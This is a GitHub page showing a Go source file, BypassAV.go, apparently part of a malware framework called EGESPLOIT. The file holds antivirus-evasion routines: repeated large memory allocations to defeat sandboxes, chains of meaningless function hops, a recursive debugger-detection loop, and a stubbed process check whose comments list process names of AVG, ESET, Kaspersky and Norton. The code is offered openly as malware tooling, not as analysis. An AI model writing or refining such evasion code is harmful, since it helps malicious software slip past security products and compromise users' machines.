-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathBypassAV.go
117 lines (96 loc) · 1.33 KB
/
BypassAV.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
package EGESPLOIT
//import "os/exec"
//import "strings"
var MagicNumber int64 = 0;
func BypassAV(Rate int) {
if Rate == 1 {
AllocateFakeMemory()
}else if Rate == 2 {
AllocateFakeMemory()
Jump()
}else if Rate == 3 {
AllocateFakeMemory()
Jump()
ProcessRecon()
}else{
}
}
func Jump() {
MagicNumber++
hop1()
}
func AllocateFakeMemory() {
for i := 0; i < 1000; i++ {
var Size int = 30000000
Buffer_1 := make([]byte, Size)
Buffer_1[0] = 1
var Buffer_2 [102400000]byte
Buffer_2[0] = 0
}
}
func CheckDebugger() {
Flag,_,_ := IsDebuggerPresent.Call()
if Flag != 0 {
//Debugger Active !!
CheckDebugger()
}
}
func ProcessRecon() {
//Enumarate AV processes...
/* AVG
avgidsagenta.exe
avgcsrva.exe
avgwdsvca.exe
avgnsa.exe
avgemca.exe
avgrsa.exe
*/
/* ESET
egui.exe
*/
/* KASPERSKY
avpui.exe
*/
/* NORTON
NS.exe
*/
}
func hop1() {
MagicNumber++
hop2()
}
func hop2() {
MagicNumber++
hop3()
}
func hop3() {
MagicNumber++
hop4()
}
func hop4() {
MagicNumber++
hop5()
}
func hop5() {
MagicNumber++
hop6()
}
func hop6() {
MagicNumber++
hop7()
}
func hop7() {
MagicNumber++
hop8()
}
func hop8() {
MagicNumber++
hop9()
}
func hop9() {
MagicNumber++
hop10()
}
func hop10() {
MagicNumber++
}